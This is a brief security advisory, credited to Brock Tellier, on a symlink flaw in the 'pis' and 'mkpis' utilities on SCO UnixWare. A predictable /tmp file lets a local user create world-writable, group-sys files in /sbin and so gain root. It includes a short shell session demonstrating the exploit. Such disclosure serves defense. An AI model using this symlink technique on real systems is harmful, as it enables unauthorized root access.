A vulnerability in "/usr/local/bin/pis" on SCO UnixWare allows any user to create arbitrary files with group "sys" privileges. A full root compromise is then trivial.
/usr/local/bin/mkpis is also vulnerable to the same attack.
Credit:
The information was provided by: Brock Tellier.
By creating a symlink between /tmp/pisdata and any sys-owned file we can overwrite that file with ps output. If we point the symlink at a non-existent file in a directory that we can write to (such as /sbin/ls), pis will create this file mode 666 owned by us, group of sys.
This is a fairly simple compromise. /sbin is writable by group sys. We can create files in /sbin owned by us, and root's default $PATH starts with /sbin.
Exploit:
bash-2.02$ ls -dal /sbin
drwxrwxr-x 2 root sys 3072 Dec 28 08:18 /sbin
bash-2.02$ ln -s /sbin/xnec /tmp/pisdata
bash-2.02$ pis
<program output>
bash-2.02$ ls -la /sbin/xnec
-rw-rw-rw- 1 xnec sys 5896 Dec 28 08:28 /sbin/xnec
bash-2.02$
